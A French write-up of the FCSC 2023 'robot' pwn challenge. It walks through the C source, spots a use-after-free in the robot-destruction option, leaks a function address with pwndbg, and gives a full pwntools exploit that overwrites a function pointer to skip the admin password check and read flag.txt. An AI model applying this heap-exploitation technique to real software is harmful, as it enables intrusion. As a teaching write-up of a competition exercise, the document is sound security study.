Note

robot était un challenge de pwn issu du FCSC 2023. Globalement un très bon challenge, et surtout une très bonne initiation à l’exploitation heap puisque je n’en avais jamais fait !

Description

La startup _FunWithRobots & Co._ souhaite proposer un service interactif, qui tourne sur un serveur distant et qui simule un robot avec beaucoup de réalisme. 
Mais la veille de l'inauguration, le chef de projet se souvient d'une vague mention concernant des exigences de sécurité...

Comme vous êtes la personne chargée de la sécurité, il a besoin de votre validation.
Selon lui, cela n'est qu'une simple formalité car le code a été relu par leurs meilleurs développeurs et le binaire s'exécute avec toutes les protections classiques (canaris, W^X, ASLR, etc.).

Vérifiez s'il est possible de lire le fichier `flag.txt` qui se trouve sur le serveur distant.

robot, robot.c

Analyse du fichier

On peut commencer par regarder rapidement à quoi on s’attaque grâce aux commandes file et checksec:

file robot && checksec robot

robot: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b1bb8d94563bab30f6fe505e4a7220d51f68c5aa, for GNU/Linux 3.2.0, not stripped

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

On voit donc qu’on va s’attaquer à un ELF en 64 bits protégé par toutes les protections (comme dit dans la desc).

On va le run pour avoir une idée de ce qu’il fait:

2023-05-01-191537_656x191_scrot

On a plusieurs options, mais on peut les rassembler en 3 catégories:

  • Les options 1 et 4 vont a priori nous permettre d’allouer des chunks (via malloc) pour créer le robot et le mode d’emploi
  • Les options 2 et 5 vont afficher le contenu d’un chunk qu’on aura crée au préalable, ça nous sera probablement utile pour leak des adresses
  • Les options 3 et 6 vont respectivement nous permettre de supprimer un chunk (via free) et d’appeller la fonction admin

Maintenant qu’on sait ça, on va regarder un peu le code source pour tenter de trouver une vuln et de vérifier nos hypothèses:

#include "openssl/sha.h"
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>

#define TIMEOUT       120 // in seconds

char encrypted[] = "8f75456b574439e191ae14f3e95a80a881a7216c2ac69b9c342aa62f8a048e0e";

struct Robot {
    char name[16];
    void (*makeNoise)();
    void (*move)();
};

struct RobotUserGuide {
    char guide[32];
};

void
timeout(int sig)
{
    exit(EXIT_FAILURE);
}


void bleep(struct Robot *d)
{
    for (int i=0; i<3; i++) {
        puts ("Bip !");
        usleep (500000);
    }
    printf ("La discussion avec %s est un peu ennuyeuse...\n", d->name);
}

void roll(struct Robot *d)
{
    printf ("%s se déplace en grinçant !\n", d->name);
}

void* newRobot(char *s)
{
    printf ("Vous construisez un nouveau robot. %s est un très joli nom pour un robot !\n", s);
    struct Robot *newrobot = malloc (sizeof(struct Robot));
    strncpy (newrobot->name, s, 15);
    newrobot->makeNoise = bleep;
    newrobot->move = roll;
    return (void*) newrobot;
}

void admin(char *pwd)
{
    unsigned char hash[SHA256_DIGEST_LENGTH];
    char    result[65];

    SHA256((const unsigned char *) pwd, strlen(pwd), hash);

    for (int i = 0; i < SHA256_DIGEST_LENGTH; i++) {
        sprintf(result + (i * 2), "%02x", hash[i]);
    }

    if (strcmp(result, encrypted) == 0) {
        execl("/bin/cat", "/bin/cat", "flag.txt", NULL);
        perror("execl");
        exit(2);
    } else {
        puts("ERROR: wrong password!");
    }
}

int main()
{
    struct Robot  *robot = NULL;
    struct RobotUserGuide *userGuide = NULL;
    char ordre = -1;
    char input[64] = {0};

    // Install challenge timeout
    signal(SIGALRM, timeout);
    alarm(TIMEOUT);

    while (1) {
        /* Menu */
        puts ("Que faites-vous ?");
        puts ("1: Construire un robot\t\t4: Rédiger le mode d'emploi");
        puts ("2: Le faire parler\t\t5: Afficher le mode d'emploi");
        puts ("3: Jouer avec le robot\t\t6: Admin");
        puts ("0: Quitter");
        printf ("> ");

        /* Ordre */
        ordre = (char) getc (stdin);
        if (ordre == '\n')
            continue;
        getc (stdin); /* Enlève \n */

        /* Exécution de l'ordre */
        switch (ordre) {
            case '1':
                printf ("Comment vous l'appelez ?\n> ");
                fgets (input, 64, stdin);
                for (int i=0; i<64; i++) {
                    if (input[i] == '\n')
                        input[i] = 0;
                }
                robot = newRobot(input);
                break;

            case '2':
                if (robot)
                    robot->makeNoise(robot);
                else
                    puts ("Vous n'avez pas de robot !");
                break;

            case '3':
                if (robot) {
                    printf ("Vous allumez le robot. ");
                    robot->move(robot);
                    printf ("De la fumée commence à apparaître, puis des étincelles... %s prend feu !!!\n", robot->name);
                    printf ("%s est complètement détruit\n", robot->name);
                    free (robot);
                } else {
                    puts ("Vous n'avez pas de robot !");
                }
                break;

            case '4':
                userGuide = malloc (sizeof (struct RobotUserGuide));
                printf ("Vous commencez à rédiger le mode d'emploi...\n> ");
                fgets (userGuide->guide, 32, stdin);
                break;

            case '5':
                if (userGuide) {
                    for (int i=0; i<32; i++) {
                        char c = userGuide->guide[i];
                        putchar (c);
                    }
                    fflush (stdout);
                } else {
                    puts ("Il n'y a pas de mode d'emploi");
                }
                break;

            case '6':
                printf ("Enter admin password\n> ");
                fgets (input, 64, stdin);
                for (int i=0; i<64; i++) {
                    if (input[i] == '\n')
                        input[i] = 0;
                }
                admin (input);
                break;

            case '0':
                puts ("Au revoir !");
                exit (0);
                break;

            default:
                puts ("Commande non reconnue");
                break;
        }
        putchar ('\n');
    }

    return 0;
}

On va commencer par regarder les deux Struct, on a donc une Struct “Robot” qui contient une variable name de 16 chars, et deux fonctions makeNoise et move.

On a ensuite “RobotUserGuide” qui ne contient qu’une variable guide de 32 chars.

Globalement, les hypothèses sur les actions des options étaient bonnes, à un petit détail près: la vulnérabilité se situe dans l’une d’entre elle, plus précisément l’option 3

            case '3':
                if (robot) {
                    printf ("Vous allumez le robot. ");
                    robot->move(robot);
                    printf ("De la fumée commence à apparaître, puis des étincelles... %s prend feu !!!\n", robot->name);
                    printf ("%s est complètement détruit\n", robot->name);
                    free (robot);
                } else {
                    puts ("Vous n'avez pas de robot !");
                }
                break;

On voit qu’elle va print du texte (plus ou moins inutile), appeller la fonction move de la struct “Robot”, en ensuite free le chunk. On remarque qu’il ne supprime pas le pointeur, une fois que le robot est “cassé”, il existe toujours un pointeur vers le chunk qui a été free() et le contenu du chunk sera toujours existant.

C’est ici un cas assez classique de Use-After-Free (UAF). Il faut maintenant trouver un moyen de leak des valeurs de la heap.

On peut commencer par regarder le chunk dans pwndbg. On lance le programme puis on crée un robot avec n’importe quel nom:

2023-05-01-193724_830x462_scrot

Maintenant, on fait CTRL+C pour interrompre le programme et pouvoir inspecter la heap. On va utiliser la commande vis et chercher notre chunk.

2023-05-01-193807_1069x1036_scrot

Juste avant le Top chunk, on voit notre Robot, qu’on reconnaît graĉe au “ChatGPT” (le nom donné au robot). On peut donc aussi voir que le chunk ne contient pas seulement le nom du robot, deux autres adresses s’y trouvent - on va voir à quoi elles correspondent.

2023-05-01-193935_1082x180_scrot

Il s’agit des deux fonctions de la Struct ajoutées au moment où on crée notre Robot. Ce sont ces adresses que nous voulont leak.

Pour le faire, les options 4 et 5 vont nous être utiles. L’option 4 nous permet de malloc un chunk d’une taille de 32, et puisque nous savons que nous avons un Use-After-Free, ce chunk prendra la place dans l’ancien chunk Robot si le robot est détruit avant la création du manuel. Enfin, on pourra lire le manuel avec l’option 5, et puisque cette option lit 32 chars, elle va aussi lire les deux adresses qui étaient présentes après le nom du robot.

TLDR: Leak

  1. Créer un robot (malloc)
  2. Jouer avec le robot (free)
  3. Créer un manuel (malloc)
  4. Lire le manuel (UAF)

Avec ça, on aura donc les adresses des fonctions bleep et roll. Commençons notre exploit:

#!/usr/bin/env python3

from pwn import *
from time import sleep

exe = ELF("./robot")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r)
    else:
        r = remote("challenges.france-cybersecurity-challenge.fr", 2101)

    return r


def construire(name):
    print("construire("+str(name)+")")

    r.sendline(b'1')

    r.recv()

    r.sendline(name)

    r.recv()

def parler():
    print("parler()")

    r.sendline(b'2')

    return r.recv()

def supprimer():
    print("supprimer()")

    r.sendline(b'3')

    r.recv()

def mode_emploi(text):
    print("mode_emploi("+str(text)+")")

    r.sendline(b'4')

    r.recv()

    r.sendline(text)

    r.recv()

def manuel():
    print('manuel()')

    r.sendline(b'5')

    return r.recv().split(b'\n')[1]

def main():
    global r
    r = conn()

    construire(b'A'*16)

    supprimer()

    mode_emploi(b'A'*16)

    leak = manuel()

    roll = u64(leak[leak.index(b'\xfc'):].ljust(8, b'\x00'))

    print("roll @", hex(roll))

On commence par créer quelques fonctions qui nous facilitent la communication avec l’executable, puis on récupère le leak dans une variable. On peut vérifier le bon fonctionnement du script avec pwndbg:

2023-05-01-195650_1363x191_scrot

Le script crée un robot avec un nom de 16 chars, le détruit, puis crée un mode d’emploi de 16 chars (pour ne pas réecrire les adresses des variables), et lis le manuel pour avoir les leaks. On voit que l’adresse affichée est bien celle de la fonction roll.

En faisant cette fonction, on comprend quelle est la deuxième partie de l’exploit: réecrire la valeur d’une fonction pour l’appeller et obtenir le flag. Mais alors, quelle fonction de la struct réecrire, et par quoi?

L’option 2 nous permet de “faire parler le robot”, concrètement, elle appelle la fonction makeNoise, ce serait donc un bon candidat à réecrire puisqu’il ne se passe rien de plus dans cette option.

Maintenant que nous savons quelle fonction réecrire, par quoi pouvons-nous la réecrire ?

La fonction admin contient un appel à /bin/cat flag.txt mais elle semble protégée par un mot de passe… ou l’est-elle réellement ? Puisque nous connaissons l’adresse de roll, rien ne nous oblige à réecrire makeNoise par l’adresse de admin, nous pouvons très bien la réecrire par une adresse plus loin dans admin, de préférence après la vérification du mot de passe.

On peut faire ceci avec pwndbg et notre leak de tout à l’heure, on va commencer par désassembler la fonction admin pour savoir où jump:

disass admin

Dump of assembler code for function admin:
   0x000055a4252b13d7 <+0>:	push   rbp
   0x000055a4252b13d8 <+1>:	mov    rbp,rsp
   0x000055a4252b13db <+4>:	sub    rsp,0x90
   0x000055a4252b13e2 <+11>:	mov    QWORD PTR [rbp-0x88],rdi
   0x000055a4252b13e9 <+18>:	mov    rax,QWORD PTR fs:0x28
   0x000055a4252b13f2 <+27>:	mov    QWORD PTR [rbp-0x8],rax
   0x000055a4252b13f6 <+31>:	xor    eax,eax
   0x000055a4252b13f8 <+33>:	mov    rax,QWORD PTR [rbp-0x88]
   0x000055a4252b13ff <+40>:	mov    rdi,rax
   0x000055a4252b1402 <+43>:	call   0x55a4252b10c0 <strlen@plt>
   0x000055a4252b1407 <+48>:	mov    rcx,rax
   0x000055a4252b140a <+51>:	lea    rdx,[rbp-0x70]
   0x000055a4252b140e <+55>:	mov    rax,QWORD PTR [rbp-0x88]
   0x000055a4252b1415 <+62>:	mov    rsi,rcx
   0x000055a4252b1418 <+65>:	mov    rdi,rax
   0x000055a4252b141b <+68>:	call   0x55a4252b1090 <SHA256@plt>
   0x000055a4252b1420 <+73>:	mov    DWORD PTR [rbp-0x74],0x0
   0x000055a4252b1427 <+80>:	jmp    0x55a4252b145f <admin+136>
   0x000055a4252b1429 <+82>:	mov    eax,DWORD PTR [rbp-0x74]
   0x000055a4252b142c <+85>:	cdqe   
   0x000055a4252b142e <+87>:	movzx  eax,BYTE PTR [rbp+rax*1-0x70]
   0x000055a4252b1433 <+92>:	movzx  eax,al
   0x000055a4252b1436 <+95>:	mov    edx,DWORD PTR [rbp-0x74]
   0x000055a4252b1439 <+98>:	add    edx,edx
   0x000055a4252b143b <+100>:	movsxd rdx,edx
   0x000055a4252b143e <+103>:	lea    rcx,[rbp-0x50]
   0x000055a4252b1442 <+107>:	add    rcx,rdx
   0x000055a4252b1445 <+110>:	mov    edx,eax
   0x000055a4252b1447 <+112>:	lea    rsi,[rip+0xc5f]        # 0x55a4252b20ad
   0x000055a4252b144e <+119>:	mov    rdi,rcx
   0x000055a4252b1451 <+122>:	mov    eax,0x0
   0x000055a4252b1456 <+127>:	call   0x55a4252b10d0 <sprintf@plt>
   0x000055a4252b145b <+132>:	add    DWORD PTR [rbp-0x74],0x1
   0x000055a4252b145f <+136>:	cmp    DWORD PTR [rbp-0x74],0x1f
   0x000055a4252b1463 <+140>:	jle    0x55a4252b1429 <admin+82>
   0x000055a4252b1465 <+142>:	lea    rax,[rbp-0x50]
   0x000055a4252b1469 <+146>:	lea    rsi,[rip+0x2bb0]        # 0x55a4252b4020 <encrypted>
   0x000055a4252b1470 <+153>:	mov    rdi,rax
   0x000055a4252b1473 <+156>:	call   0x55a4252b1120 <strcmp@plt>
   0x000055a4252b1478 <+161>:	test   eax,eax
   0x000055a4252b147a <+163>:	jne    0x55a4252b14b6 <admin+223>
   0x000055a4252b147c <+165>:	mov    ecx,0x0
   0x000055a4252b1481 <+170>:	lea    rdx,[rip+0xc2a]        # 0x55a4252b20b2
   0x000055a4252b1488 <+177>:	lea    rsi,[rip+0xc2c]        # 0x55a4252b20bb
   0x000055a4252b148f <+184>:	lea    rdi,[rip+0xc25]        # 0x55a4252b20bb
   0x000055a4252b1496 <+191>:	mov    eax,0x0
   0x000055a4252b149b <+196>:	call   0x55a4252b1070 <execl@plt>
   0x000055a4252b14a0 <+201>:	lea    rdi,[rip+0xc1d]        # 0x55a4252b20c4
   0x000055a4252b14a7 <+208>:	call   0x55a4252b1140 <perror@plt>
   0x000055a4252b14ac <+213>:	mov    edi,0x2
   0x000055a4252b14b1 <+218>:	call   0x55a4252b1050 <exit@plt>
   0x000055a4252b14b6 <+223>:	lea    rdi,[rip+0xc0d]        # 0x55a4252b20ca
   0x000055a4252b14bd <+230>:	call   0x55a4252b1040 <puts@plt>
   0x000055a4252b14c2 <+235>:	nop
   0x000055a4252b14c3 <+236>:	mov    rax,QWORD PTR [rbp-0x8]
   0x000055a4252b14c7 <+240>:	sub    rax,QWORD PTR fs:0x28
   0x000055a4252b14d0 <+249>:	je     0x55a4252b14d7 <admin+256>
   0x000055a4252b14d2 <+251>:	call   0x55a4252b1110 <__stack_chk_fail@plt>
   0x000055a4252b14d7 <+256>:	leave  
   0x000055a4252b14d8 <+257>:	ret    
End of assembler dump.

L’instruction jne située à +163 est une condition, probablement celle qui compare notre input avec le mot de passe, nous voulons donc arriver juste après cette condition, soit à +165. Pour calculer la différence entre les deux, il suffit de prendre l’adresse de cette instruction et d’y soustraire l’adresse de roll

print 0x000055a4252b147c-0x55a4252b12fc
$5 = 384

Une fois qu’on a notre leak, il nous suffit donc d’y ajouter 384 pour trouver l’adresse de admin+165.

Il ne nous reste plus qu’à créer un manuel avec 16 chars, puis l’adresse de admin+165 pour réecrire makeNoise dans la Struct “Robot”

TLDR

  1. Créer un robot (malloc)
  2. Jouer avec le robot (free)
  3. Créer un manuel (malloc)
  4. Lire le manuel (UAF/leaks)
  5. Calculer la différence entre roll et admin+165
  6. Créer un robot (malloc)
  7. Jouer avec le robot (free)
  8. Créer un manuel de 16 caractères suivis de l’adresse de admin+165 (malloc/bleep overwrite)
  9. Faire parler le robot (call admin+165)

Exploit

Et voici donc l’exploit final:

#!/usr/bin/env python3

from pwn import *
from time import sleep

exe = ELF("./robot")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r)
    else:
        r = remote("challenges.france-cybersecurity-challenge.fr", 2101)

    return r


def construire(name):
    print("construire("+str(name)+")")

    r.sendline(b'1')

    r.recv()

    r.sendline(name)

    r.recv()

def parler():
    print("parler()")

    r.sendline(b'2')

    return r.recv()

def supprimer():
    print("supprimer()")

    r.sendline(b'3')

    r.recv()

def mode_emploi(text):
    print("mode_emploi("+str(text)+")")

    r.sendline(b'4')

    r.recv()

    r.sendline(text)

    r.recv()

def manuel():
    print('manuel()')

    r.sendline(b'5')

    return r.recv().split(b'\n')[1]

def main():
    global r
    r = conn()

    # robot = malloc()
    construire(b'A'*16)

    # free(robot)
    supprimer()

    # manuel = malloc()
    mode_emploi(b'A'*16)

    # manuel->guide
    leak = manuel()

    roll = u64(leak[leak.index(b'\xfc'):].ljust(8, b'\x00'))

    print("roll @", hex(roll))

    flag = roll + 384

    print("flag @", hex(flag))

    # robot = malloc()
    construire(b'A'*16)

    # free(robot)
    supprimer()

    # manuel = malloc()
    mode_emploi(b'A'*16 + p64(flag))

    # robot->makeNoise
    print("Flag:", parler().replace(b"\n", b"").decode('utf-8'))

    #r.interactive()



if __name__ == "__main__":
    main()

Conclusion

Pour un premier challenge de heap de ma vie, j’ai appris énormément de choses, c’était super intéressant !

Si j’ai fait des erreurs n’hésitez pas à me contacter sur discord (disponible sur la page About)